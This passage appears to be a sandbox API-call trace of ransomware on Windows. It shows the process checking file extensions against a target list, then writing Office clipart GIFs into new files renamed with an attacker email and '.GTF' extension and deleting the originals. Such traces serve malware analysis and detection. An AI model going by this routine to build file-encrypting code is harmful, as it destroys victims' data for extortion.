	[0078.469] lstrlenW (lpString=".jpg") returned 4
	[0078.469] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0078.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0078.469] lstrlenW (lpString=".doc") returned 4
	[0078.469] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.469] lstrlenW (lpString=".docx") returned 5
	[0078.469] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.469] lstrlenW (lpString=".pdf") returned 4
	[0078.469] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.469] lstrlenW (lpString=".xls") returned 4
	[0078.469] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.469] lstrlenW (lpString=".xlsx") returned 5
	[0078.469] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.469] lstrlenW (lpString=".ppt") returned 4
	[0078.469] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0078.469] lstrlenW (lpString=".zip") returned 4
	[0078.469] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.469] lstrlenW (lpString=".rar") returned 4
	[0078.469] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.469] lstrlenW (lpString=".bz2") returned 4
	[0078.469] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.469] lstrlenW (lpString=".7z") returned 3
	[0078.469] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0078.469] lstrlenW (lpString=".dbf") returned 4
	[0078.469] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0078.469] lstrlenW (lpString=".1cd") returned 4
	[0078.469] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0078.470] lstrlenW (lpString=".jpg") returned 4
	[0078.470] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.470] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0078.470] lstrlenW (lpString="AG00130_.GIF") returned 12
	[0078.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0078.472] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=5253) returned 1
	[0078.472] CloseHandle (hObject=0x340) returned 1
	[0078.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif")) returned 0x220
	[0078.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0078.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0078.472] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.472] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0078.473] GetLastError () returned 0x0
	[0078.473] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x1485, lpOverlapped=0x0) returned 1
	[0078.475] WriteFile (in: hFile=0x368, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x1490, lpOverlapped=0x0) returned 1
	[0078.476] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.476] WriteFile (in: hFile=0x368, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0078.476] SetEndOfFile (hFile=0x368) returned 1
	[0078.476] CloseHandle (hObject=0x368) returned 1
	[0078.478] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.478] SetEndOfFile (hFile=0x340) returned 1
	[0078.479] CloseHandle (hObject=0x340) returned 1
	[0078.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0078.479] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif")) returned 1
	[0078.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0078.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0078.479] lstrlenW (lpString=".doc") returned 4
	[0078.479] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.479] lstrlenW (lpString=".docx") returned 5
	[0078.479] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.479] lstrlenW (lpString=".pdf") returned 4
	[0078.479] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.479] lstrlenW (lpString=".xls") returned 4
	[0078.480] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.480] lstrlenW (lpString=".xlsx") returned 5
	[0078.480] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.480] lstrlenW (lpString=".ppt") returned 4
	[0078.480] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0078.480] lstrlenW (lpString=".zip") returned 4
	[0078.480] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.480] lstrlenW (lpString=".rar") returned 4
	[0078.480] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.480] lstrlenW (lpString=".bz2") returned 4
	[0078.480] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.480] lstrlenW (lpString=".7z") returned 3
	[0078.480] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0078.480] lstrlenW (lpString=".dbf") returned 4
	[0078.480] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0078.480] lstrlenW (lpString=".1cd") returned 4
	[0078.480] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0078.480] lstrlenW (lpString=".jpg") returned 4
	[0078.480] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0078.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0078.480] lstrlenW (lpString=".doc") returned 4
	[0078.480] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.480] lstrlenW (lpString=".docx") returned 5
	[0078.480] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.480] lstrlenW (lpString=".pdf") returned 4
	[0078.480] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.480] lstrlenW (lpString=".xls") returned 4
	[0078.480] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.481] lstrlenW (lpString=".xlsx") returned 5
	[0078.481] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.481] lstrlenW (lpString=".ppt") returned 4
	[0078.481] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0078.481] lstrlenW (lpString=".zip") returned 4
	[0078.481] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.481] lstrlenW (lpString=".rar") returned 4
	[0078.481] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.481] lstrlenW (lpString=".bz2") returned 4
	[0078.481] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.481] lstrlenW (lpString=".7z") returned 3
	[0078.481] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0078.481] lstrlenW (lpString=".dbf") returned 4
	[0078.481] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0078.481] lstrlenW (lpString=".1cd") returned 4
	[0078.481] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0078.481] lstrlenW (lpString=".jpg") returned 4
	[0078.481] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.481] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0078.481] lstrlenW (lpString="AG00135_.GIF") returned 12
	[0078.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0078.483] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=2596) returned 1
	[0078.483] CloseHandle (hObject=0x340) returned 1
	[0078.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif")) returned 0x220
	[0078.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0078.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0078.483] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.483] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0078.483] GetLastError () returned 0x0
	[0078.483] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0xa24, lpOverlapped=0x0) returned 1
	[0078.486] WriteFile (in: hFile=0x368, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xa30, lpOverlapped=0x0) returned 1
	[0078.487] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.487] WriteFile (in: hFile=0x368, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0078.487] SetEndOfFile (hFile=0x368) returned 1
	[0078.487] CloseHandle (hObject=0x368) returned 1
	[0078.488] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.488] SetEndOfFile (hFile=0x340) returned 1
	[0078.918] CloseHandle (hObject=0x340) returned 1
	[0078.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0078.919] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif")) returned 1
	[0078.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0078.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0078.919] lstrlenW (lpString=".doc") returned 4
	[0078.919] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.919] lstrlenW (lpString=".docx") returned 5
	[0078.919] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.919] lstrlenW (lpString=".pdf") returned 4
	[0078.919] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.919] lstrlenW (lpString=".xls") returned 4
	[0078.919] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.919] lstrlenW (lpString=".xlsx") returned 5
	[0078.920] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.920] lstrlenW (lpString=".ppt") returned 4
	[0078.920] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0078.920] lstrlenW (lpString=".zip") returned 4
	[0078.920] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.920] lstrlenW (lpString=".rar") returned 4
	[0078.920] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.920] lstrlenW (lpString=".bz2") returned 4
	[0078.920] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.920] lstrlenW (lpString=".7z") returned 3
	[0078.920] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0078.920] lstrlenW (lpString=".dbf") returned 4
	[0078.920] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0078.920] lstrlenW (lpString=".1cd") returned 4
	[0078.920] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0078.920] lstrlenW (lpString=".jpg") returned 4
	[0078.920] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0078.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0078.920] lstrlenW (lpString=".doc") returned 4
	[0078.920] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.920] lstrlenW (lpString=".docx") returned 5
	[0078.920] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.920] lstrlenW (lpString=".pdf") returned 4
	[0078.920] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.920] lstrlenW (lpString=".xls") returned 4
	[0078.920] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.920] lstrlenW (lpString=".xlsx") returned 5
	[0078.920] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.920] lstrlenW (lpString=".ppt") returned 4
	[0078.920] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0078.920] lstrlenW (lpString=".zip") returned 4
	[0078.921] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.921] lstrlenW (lpString=".rar") returned 4
	[0078.921] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.921] lstrlenW (lpString=".bz2") returned 4
	[0078.921] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.921] lstrlenW (lpString=".7z") returned 3
	[0078.921] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0078.921] lstrlenW (lpString=".dbf") returned 4
	[0078.921] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0078.921] lstrlenW (lpString=".1cd") returned 4
	[0078.921] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0078.921] lstrlenW (lpString=".jpg") returned 4
	[0078.921] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.921] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0078.921] lstrlenW (lpString="AG00164_.GIF") returned 12
	[0078.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0078.922] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=13254) returned 1
	[0078.922] CloseHandle (hObject=0x340) returned 1
	[0078.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif")) returned 0x220
	[0078.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0078.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0078.922] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.922] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0078.922] GetLastError () returned 0x0
	[0078.922] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x33c6, lpOverlapped=0x0) returned 1
	[0078.928] WriteFile (in: hFile=0x39c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x33d0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x33d0, lpOverlapped=0x0) returned 1
	[0078.929] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.929] WriteFile (in: hFile=0x39c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0078.930] SetEndOfFile (hFile=0x39c) returned 1
	[0078.930] CloseHandle (hObject=0x39c) returned 1
	[0078.931] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.931] SetEndOfFile (hFile=0x340) returned 1
	[0078.932] CloseHandle (hObject=0x340) returned 1
	[0078.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0078.933] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif")) returned 1
	[0078.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0078.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0078.933] lstrlenW (lpString=".doc") returned 4
	[0078.933] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.933] lstrlenW (lpString=".docx") returned 5
	[0078.933] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.933] lstrlenW (lpString=".pdf") returned 4
	[0078.933] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.933] lstrlenW (lpString=".xls") returned 4
	[0078.933] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.933] lstrlenW (lpString=".xlsx") returned 5
	[0078.933] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.933] lstrlenW (lpString=".ppt") returned 4
	[0078.934] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0078.934] lstrlenW (lpString=".zip") returned 4
	[0078.934] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.934] lstrlenW (lpString=".rar") returned 4
	[0078.934] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.934] lstrlenW (lpString=".bz2") returned 4
	[0078.934] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.934] lstrlenW (lpString=".7z") returned 3
	[0078.934] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0078.934] lstrlenW (lpString=".dbf") returned 4
	[0078.934] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0078.934] lstrlenW (lpString=".1cd") returned 4
	[0078.934] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
